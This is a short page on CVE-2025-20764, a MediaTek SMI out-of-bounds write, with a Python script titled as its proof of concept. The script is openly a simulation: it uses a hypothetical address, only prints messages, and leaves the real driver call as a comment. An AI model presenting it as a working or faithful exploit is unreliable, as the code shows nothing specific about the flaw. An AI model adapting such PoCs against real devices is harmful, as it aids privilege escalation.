CVE-2025-20764: MediaTek芯片SMI组件越界写入本地权限提升漏洞

# CVE-2025-20764 PoC - MediaTek SMI Out-of-Bounds Write # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires specific MediaTek device and system access import ctypes import struct class MediaTekSMIVuln: def __init__(self): self.smi_base = 0x12345678 # Hypothetical SMI base address self.vuln_offset = 0x1000 # Vulnerable register offset def trigger_out_of_bounds_write(self): """ Trigger the OOB write vulnerability in MediaTek SMI component This PoC demonstrates the vulnerability concept """ # Malicious payload that triggers missing bounds check # In real scenario, this would be sent via specific kernel interface payload = { 'target_addr': 0xFFFFFFFF, # Address beyond valid range 'write_size': 0x1000, # Large write size 'data': b'A' * 0x1000 # Overflow data } print(f"[*] Targeting SMI base: 0x{self.smi_base:x}") print(f"[*] Vulnerable offset: 0x{self.vuln_offset:x}") print(f"[*] Crafted payload with OOB address: 0x{payload['target_addr']:x}") print(f"[*] Write size: {payload['write_size']} bytes") print("[*] Missing bounds check allows write beyond allocated buffer") # Simulate the vulnerable write operation # In real exploit: ioctl call to SMI driver with crafted parameters self.vulnerable_write( self.smi_base + self.vuln_offset, payload['target_addr'], payload['write_size'], payload['data'] ) return True def vulnerable_write(self, base, target, size, data): """ Simulated vulnerable write function Missing bounds check implementation """ # VULNERABLE: No validation of target address or size # Should check: if target + size > valid_memory_range: return error print(f"[!] WARNING: No bounds check performed!") print(f"[!] Writing {size} bytes to potentially invalid address 0x{target:x}") # In real scenario: direct memory write occurs here return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-20764 MediaTek SMI OOB Write PoC") print("=" * 60) poc = MediaTekSMIVuln() poc.trigger_out_of_bounds_write()